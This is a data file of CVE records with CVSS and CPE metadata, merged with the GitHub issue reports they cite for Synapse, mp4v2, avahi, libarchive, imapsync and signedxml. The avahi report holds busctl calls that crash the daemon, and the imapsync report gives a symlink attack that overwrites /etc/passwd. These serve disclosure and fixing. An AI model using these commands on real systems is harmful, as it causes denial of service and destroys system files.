"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"20"
] | 20 | https://github.com/matrix-org/synapse/issues/14492 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"matrix-org",
"synapse"
] | ### Description
federation between my homeserver and matrix.org was broken. My homeserver was able to send messages but messages sent from matrix.org were never received. I was not the only server affected by this issue and another homeserver admin found a solution in [#synapse-admins](https://matrix.to/#/#synapse:matrix.org):
```
--- synapse/app/_base.py.2022118 2022-11-09 10:52:11.000000000 +0100
+++ synapse/app/_base.py 2022-11-18 00:38:43.054743699 +0100
@@ -650,7 +650,9 @@
#
# in short, we somewhat arbitrarily limit requests to 200 * 64K (about 12.5M)
#
- max_request_size = 200 * MAX_PDU_SIZE
+ #max_request_size = 200 * MAX_PDU_SIZE
+ max_request_size = 2000 * MAX_PDU_SIZE
# if we have a media repo enabled, we may need to allow larger uploads than that
if config.media.can_load_media_repo:
```
This patch worked for the original author and I confirm it is working for me too. I also made sure the parameter `client_max_body_size` in my nginx reverse-proxy was high enough. Increasing the value in nginx was not enough to fix the issue, the patch above was needed. I was affected by this bug since last weekend and I did a lot of tests by changing many values in nginx by increasing timeouts and size but nothing worked. I also tried changing synapse cache values and configs but that didn't do the trick either.
### Steps to reproduce
I do not know how to reproduce the initial conditions that caused the bug but the patch fixed the federation between my server and matrix.org.
### Homeserver
matrix.org was the server unable to send messages
### Synapse Version
1.72.0rc1 for matrix and I run 1.71.0
### Installation Method
Docker (matrixdotorg/synapse)
### Platform
Ubuntu LTS and I use the Ansible playbook from https://github.com/spantaleev/matrix-docker-ansible-deploy
### Relevant log output
```shell
here is an example of logs that I was seeing on my side:
Nov 17 21:46:19 localhost matrix-nginx-proxy[2836800]: 2022/11/18 02:46:19 [error] 30#30: *13315398 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 172.18.0.19, server: matrix-nginx-proxy, request: "PUT /_matrix/federation/v1/send/1668680027792 HTTP/1.0", upstream: "http://172.18.0.21:18111/_matrix/federation/v1/send/1668680027792", host: "matrix.anontier.nl"
here is a log that was submitted to me by a matrix developer:
2022-11-16 08:19:04,015 - synapse.http.matrixfederationclient - 672 - INFO - federation_transaction_transmission_loop-1891708-- - {PUT-O-1387436} [anontier.nl] Request failed: PUT matrix://anontier.nl/_matrix/federation/v1/send/1668471702441: HttpResponseException('502: Bad Gateway')
2022-11-16 08:20:01,940 - synapse.http.matrixfederationclient - 629 - INFO - federation_transaction_transmission_loop-1891708-- - {PUT-O-1387436} [anontier.nl] Got response headers: 502 Bad Gateway
```
### Anything else that would be useful to know?
_No response_ | Federation was broken between my homeserver and matrix.org (and I fixed it with this patch) | https://api.github.com/repos/matrix-org/synapse/issues/14492/comments | 8 | 2022-11-18T20:34:17Z | 2023-09-04T13:53:27Z | https://github.com/matrix-org/synapse/issues/14492 | 1,455,762,646 | 14,492 | 5,202 |
CVE-2023-33720 | 2023-05-26T16:15:10.980 | mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/enzo1982/mp4v2/issues/36"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/enzo1982/mp4v2/issues/36"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:mp4v2_project:mp4v2:2.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "9E9EA982-3885-417B-AB0C-061415A7F261",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"400"
] | 400 | https://github.com/enzo1982/mp4v2/issues/36 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"enzo1982",
"mp4v2"
] | I found a memory leak error in *mp4property.cpp:533*; it seems that the value of the member variable *count* is inconsistent.
### Environment
OS: Ubuntu 18.04.6 LTS
Compiler: gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)
### Compilation
```
autoreconf -i
CC=gcc CXX=g++ CFLAGS='-fsanitize=address -g' CXXFLAGS='-fsanitize=address -g' ./configure
make -j32
```
### Command Line
./mp4info poc_BytesProperty.mp4
### POC
[poc_BytesProperty.mp4.zip](https://github.com/enzo1982/mp4v2/files/11461721/poc_BytesProperty.mp4.zip)
### Report
```
/home/poc/mp4v2/.libs/mp4info version 2.1.2
/home/poc/poc_BytesProperty.mp4:
ReadAtom: "/home/poc/poc_BytesProperty.mp4": invalid atom size, extends outside parent atom - skipping to end of "" "moov" 11495 vs 896
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Mandatory descriptor 0x0e missing
Read: "/home/poc/poc_BytesProperty.mp4": Descriptor 0x10 has more than one instance
ReadProperties: atom 'iods' is too small; overrun at property: (src/mp4atom.cpp,392)
/home/poc/mp4v2/.libs/mp4info: can't open /home/poc/poc_BytesProperty.mp4
=================================================================
==13934==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 3 byte(s) in 1 object(s) allocated from:
#0 0x7f338562db40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f3384fdf4ac in mp4v2::impl::MP4Malloc(unsigned long) src/mp4util.h:63
#2 0x7f3384ff0d89 in mp4v2::impl::MP4Calloc(unsigned long) src/mp4util.h:72
#3 0x7f338507432f in mp4v2::impl::MP4BytesProperty::MP4BytesProperty(mp4v2::impl::MP4Atom&, char const*, unsigned int, unsigned int) src/mp4property.cpp:533
#4 0x7f33850945b7 in mp4v2::impl::MP4CreatorDescriptor::MP4CreatorDescriptor(mp4v2::impl::MP4Atom&, unsigned char) src/ocidescriptors.cpp:202
#5 0x7f3385095061 in mp4v2::impl::CreateOCIDescriptor(mp4v2::impl::MP4Atom&, unsigned char) src/ocidescriptors.cpp:296
#6 0x7f338500bd3a in mp4v2::impl::MP4DescriptorProperty::CreateDescriptor(mp4v2::impl::MP4Atom&, unsigned char) src/descriptors.cpp:602
#7 0x7f33850790f5 in mp4v2::impl::MP4DescriptorProperty::AddDescriptor(unsigned char) src/mp4property.cpp:904
#8 0x7f3385079fa8 in mp4v2::impl::MP4DescriptorProperty::Read(mp4v2::impl::MP4File&, unsigned int) src/mp4property.cpp:1019
#9 0x7f338503bfbf in mp4v2::impl::MP4Descriptor::ReadProperties(mp4v2::impl::MP4File&, unsigned int, unsigned int) src/mp4descriptor.cpp:122
#10 0x7f338503b77e in mp4v2::impl::MP4Descriptor::Read(mp4v2::impl::MP4File&) src/mp4descriptor.cpp:80
#11 0x7f338507a01a in mp4v2::impl::MP4DescriptorProperty::Read(mp4v2::impl::MP4File&, unsigned int) src/mp4property.cpp:1021
#12 0x7f338502fcc1 in mp4v2::impl::MP4Atom::ReadProperties(unsigned int, unsigned int) src/mp4atom.cpp:383
#13 0x7f338502f056 in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:237
#14 0x7f338502eab9 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) src/mp4atom.cpp:202
#15 0x7f3385030770 in mp4v2::impl::MP4Atom::ReadChildAtoms() src/mp4atom.cpp:435
#16 0x7f338502f07b in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:241
#17 0x7f338502eab9 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) src/mp4atom.cpp:202
#18 0x7f3385030770 in mp4v2::impl::MP4Atom::ReadChildAtoms() src/mp4atom.cpp:435
#19 0x7f338502f07b in mp4v2::impl::MP4Atom::Read() src/mp4atom.cpp:241
#20 0x7f338504098f in mp4v2::impl::MP4File::ReadFromFile() src/mp4file.cpp:457
#21 0x7f338503d417 in mp4v2::impl::MP4File::Read(char const*, MP4FileProvider_s const*, MP4IOCallbacks_s const*, void*) src/mp4file.cpp:101
#22 0x7f33850193e6 in MP4ReadProvider src/mp4.cpp:105
#23 0x7f3385019389 in MP4Read src/mp4.cpp:92
#24 0x7f338506f3f8 in MP4FileInfo src/mp4info.cpp:621
#25 0x5597552bf97d in main util/mp4info.cpp:77
#26 0x7f33844e4c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 3 byte(s) leaked in 1 allocation(s).
```
| Memory Leak in MP4BytesProperty | https://api.github.com/repos/enzo1982/mp4v2/issues/36/comments | 1 | 2023-05-12T09:46:32Z | 2023-05-15T22:24:04Z | https://github.com/enzo1982/mp4v2/issues/36 | 1,707,312,594 | 36 | 5,203 |
CVE-2023-1981 | 2023-05-26T18:15:11.277 | A vulnerability was found in the avahi library. This flaw allows an unprivileged user to make a dbus call, causing the avahi daemon to crash. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "secalert@redhat.com",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-1981"
},
{
"source": "secalert@redhat.com",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2185911"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/lathiat/avahi/issues/375"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://access.redhat.com/security/cve/CVE-2023-1981"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2185911"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/lathiat/avahi/issues/375"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:avahi:avahi:0.7-20:*:*:*:*:*:*:*",
"matchCriteriaId": "957FE29F-E745-4BEB-B107-17C4AF0B5AE7",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*",
"matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*",
"matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"400"
] | 400 | https://github.com/lathiat/avahi/issues/375 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"lathiat",
"avahi"
] | It was discovered by `dfuzzer` and kind of reported in https://github.com/matusmarhefka/dfuzzer/issues/20. I think it's a local DOS technically and as far as I can tell it can be triggered by unprivileged users on Fedora 35 at least.
```sh
busctl call org.freedesktop.Avahi / org.freedesktop.Avahi.Server GetAlternativeServiceName "s" ''
Call failed: Remote peer disconnected
```
```sh
busctl call org.freedesktop.Avahi / org.freedesktop.Avahi.Server GetAlternativeHostName "s" ''
Call failed: Remote peer disconnected
```
```sh
Program terminated with signal SIGABRT, Aborted.
#0 0x00007f97c326088c in __pthread_kill_implementation () from /lib64/libc.so.6
Missing separate debuginfos, use: dnf debuginfo-install dbus-libs-1.12.22-1.fc35.x86_64 expat-2.4.7-1.fc35.x86_64 glibc-2.34-29.fc35.x86_64 libcap-2.48-3.fc35.x86_64 libdaemon-0.14-22.fc35.x86_64 libgcc-11.2.1-9.fc35.x86_64 libgcrypt-1.9.4-1.fc35.x86_64 libgpg-error-1.43-1.fc35.x86_64 libzstd-1.5.2-1.fc35.x86_64 lz4-libs-1.9.3-3.fc35.x86_64 systemd-libs-249.11-1.fc35.x86_64 xz-libs-5.2.5-7.fc35.x86_64
(gdb) bt
#0 0x00007f97c326088c in __pthread_kill_implementation () from /lib64/libc.so.6
#1 0x00007f97c32136a6 in raise () from /lib64/libc.so.6
#2 0x00007f97c31fd7d3 in abort () from /lib64/libc.so.6
#3 0x00007f97c33edb16 in _dbus_abort.cold () from /lib64/libdbus-1.so.3
#4 0x00007f97c3414250 in _dbus_warn_check_failed () from /lib64/libdbus-1.so.3
#5 0x00007f97c34034ef in dbus_message_iter_append_basic () from /lib64/libdbus-1.so.3
#6 0x00007f97c34049c6 in dbus_message_append_args_valist () from /lib64/libdbus-1.so.3
#7 0x00007f97c3404c1d in dbus_message_append_args () from /lib64/libdbus-1.so.3
#8 0x0000000000412425 in avahi_dbus_respond_string (c=c@entry=0xd4df00, m=m@entry=0xd4e2a0, text=<optimized out>, text@entry=0x0) at dbus-util.c:79
#9 0x00000000004117ae in dbus_get_alternative_service_name (error=<optimized out>, m=<optimized out>, c=<optimized out>) at dbus-protocol.c:392
#10 dbus_select_common_methods (c=c@entry=0xd4df00, m=m@entry=0xd4e2a0, iface=iface@entry=0x41b301 "org.freedesktop.Avahi.Server", error=error@entry=0x7ffd6f0ad700, userdata=<optimized out>)
at dbus-protocol.c:1043
#11 0x0000000000411dc9 in dbus_select_common_methods (userdata=<optimized out>, error=0x7ffd6f0ad700, iface=0x41b301 "org.freedesktop.Avahi.Server", m=0xd4e2a0, c=0xd4df00) at dbus-protocol.c:1003
#12 msg_server_impl (c=0xd4df00, m=0xd4e2a0, userdata=<optimized out>) at dbus-protocol.c:1183
#13 0x00007f97c33f84a9 in dbus_connection_dispatch () from /lib64/libdbus-1.so.3
#14 0x0000000000417660 in dispatch_timeout_callback (t=<optimized out>, userdata=0xd4d9b0) at ../avahi-common/dbus-watch-glue.c:105
#15 0x00007f97c34c5b48 in avahi_simple_poll_dispatch (s=0xd4de50) at simple-watch.c:570
#16 0x00007f97c34c5c05 in avahi_simple_poll_iterate (timeout=-1, s=<optimized out>) at simple-watch.c:605
#17 0x0000000000407a08 in run_server (c=0x423aa0 <config>) at main.c:1268
#18 main (argc=<optimized out>, argv=<optimized out>) at main.c:1686
``` | avahi-daemon can be crashed via DBus | https://api.github.com/repos/avahi/avahi/issues/375/comments | 2 | 2022-04-27T01:34:00Z | 2023-04-11T15:46:46Z | https://github.com/avahi/avahi/issues/375 | 1,216,666,035 | 375 | 5,204 |
CVE-2023-30571 | 2023-05-29T20:15:09.513 | Libarchive through 3.6.2 can cause directories to have world-writable permissions. The umask() call inside archive_write_disk_posix.c changes the umask of the whole process for a very short period of time; a race condition with another thread can lead to a permanent umask 0 setting. Such a race condition could lead to implicit directory creation with permissions 0777 (without the sticky bit), which means that any low-privileged local user can delete and rename files inside those directories. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 3.9,
"baseSeverity": "LOW",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 0.8,
"impactScore": 2.7,
"source": "cve@mitre.org",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"exploitabilityScore": 1,
"impactScore": 4.2,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/libarchive/libarchive/issues/1876"
},
{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://groups.google.com/g/libarchive-announce"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/libarchive/libarchive/issues/1876"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://groups.google.com/g/libarchive-announce"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libarchive:libarchive:*:*:*:*:*:*:*:*",
"matchCriteriaId": "3B32A1BB-6BB8-4D7F-ADCA-62727C4BA74E",
"versionEndExcluding": null,
"versionEndIncluding": "3.6.2",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"362"
] | 362 | https://github.com/libarchive/libarchive/issues/1876 | [
"Issue Tracking"
] | github.com | [
"libarchive",
"libarchive"
] | ### Summary
the umask() call inside archive_write_disk_posix.c changes the umask of the whole process for a very short period of time and race condition with other thread can lead to permanent umask 0 setting:
_archive_write_disk_header(): umask(a->user_umask = umask(0));
**process has umask of 027**
**thread1** enters _archive_write_disk_header()
**thread1**: prev_umask = umask(0) -> returns 027
**thread1**: whole process has now umask of 0
**thread2** enters _archive_write_disk_header()
**thread2**: prev_umask = umask(0) -> returns 0
**thread1**: umask(prev_umask) sets to 027
**thread2**: umask (prev_umask) sets to 0
**whole process remains at umask of 0**
### Effects (vulnerability)
Such race condition could lead to implicit directory creation with permissions 777 without sticky bit, which means any low privileged user on this system can delete and rename files inside those directories.
This is a serious vulnerability on a multi-user system and admins might not even be aware of it. They probably need to scan their full rootfs for such directories to mitigate.
### Proposals
#### Short term: Adding info to README
Adding information to README to make users aware to mutex this call:
https://github.com/libarchive/libarchive/pull/1875
#### Potential solution for Linux (>= 4.7)
since linux kernel 4.7 rc1, the umask can be read from /proc fs without modifying it
see: https://github.com/torvalds/linux/commit/3e42979e65dace1f9268dd5440e5ab096b8dee59
Example:
[getumask.c](https://piie.net/files/getumask.c)
| Race condition in multi-threaded use of archive_write_disk_header() on posix based systems | https://api.github.com/repos/libarchive/libarchive/issues/1876/comments | 9 | 2023-05-24T08:20:41Z | 2024-02-05T13:05:18Z | https://github.com/libarchive/libarchive/issues/1876 | 1,723,439,288 | 1,876 | 5,205 |
CVE-2023-34204 | 2023-05-30T04:15:10.317 | imapsync through 2.229 uses predictable paths under /tmp and /var/tmp in its default mode of operation. Both of these are typically world-writable, and thus (for example) an attacker can modify imapsync's cache and overwrite files belonging to the user who runs it. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/imapsync/imapsync/issues/399"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/imapsync/imapsync/issues/399"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:imapsync_project:imapsync:*:*:*:*:*:*:*:*",
"matchCriteriaId": "2D898D32-1D01-40C0-996B-7EC08EBF910D",
"versionEndExcluding": null,
"versionEndIncluding": "2.229",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"59"
] | 59 | https://github.com/imapsync/imapsync/issues/399 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"imapsync",
"imapsync"
] | I was running imapsync recently and noticed this flag description,
```
--pidfile str : The file where imapsync pid is written,
it can be dirname/filename complete path.
The default name is imapsync.pid in tmpdir.
```
This was a red flag because using predictable filenames under `/tmp` is a well-known source of vulnerabilities: https://owasp.org/www-community/vulnerabilities/Insecure_Temporary_File
In this case, I verified that (with the default options), imapsync can be tricked into overwriting files belonging to other users. The simplest proof-of-concept uses a symlink. Newer linux distributions enable a sysctl to protect against this specific attack, but the example should still work on a vanilla kernel or on other UNIX systems, and more complicated attacks (not involving a symlink) are possible.
If you're on linux, start by ensuring that the aforementioned sysctl is disabled:
```
root # sysctl fs.protected_symlinks=0
```
Now, as a normal user, create a symlink from `/tmp/imapsync.pid` to `/etc/passwd`:
```
mjo $ ln -s /etc/passwd /tmp/imapsync.pid
```
This works because `/tmp` is world-writable. Anyone can create a file, directory, or symlink at that location before imapsync tries to use it. Now, run imapsync as root:
```
root # imapsync <whatever>
```
You'll find that `/etc/passwd`, belonging to root, has essentially been deleted by the unprivileged user. Most file operations will follow a symlink, and in this case, the PID file was written to `/etc/passwd`.
The fundamental issue is that `/tmp` is world-writable by design which leads to all sorts of exploits like this. There are a lot of complicated and clever workarounds needed to make using `/tmp` (or `/var/tmp`) secure. In C, there are standard functions like `mkstemp()` that will create a temporary file securely. I'm not much of a perl programmer, but I believe File::Temp does the same thing in perl.
The `imapsync_cache` directory has the same issue; I can create it before you run imapsync and then I'm allowed to modify your cache. And while I haven't tried it, I would expect that `$CGI_TMPDIR_TOP` and `$CGI_HASHFILE` have a similar fate. | Secure /tmp usage | https://api.github.com/repos/imapsync/imapsync/issues/399/comments | 10 | 2023-05-23T14:59:57Z | 2023-12-04T22:41:13Z | https://github.com/imapsync/imapsync/issues/399 | 1,722,261,616 | 399 | 5,206 |
CVE-2023-34205 | 2023-05-30T04:15:10.377 | In Moov signedxml through 1.0.0, parsing the raw XML (as received) can result in different output than parsing the canonicalized XML. Thus, signature validation can be bypassed via a Signature Wrapping attack (aka XSW). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.2,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.2,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/moov-io/signedxml/issues/23"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/moov-io/signedxml/issues/23"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:moov:signedxml:1.0.0:*:*:*:*:go:*:*",
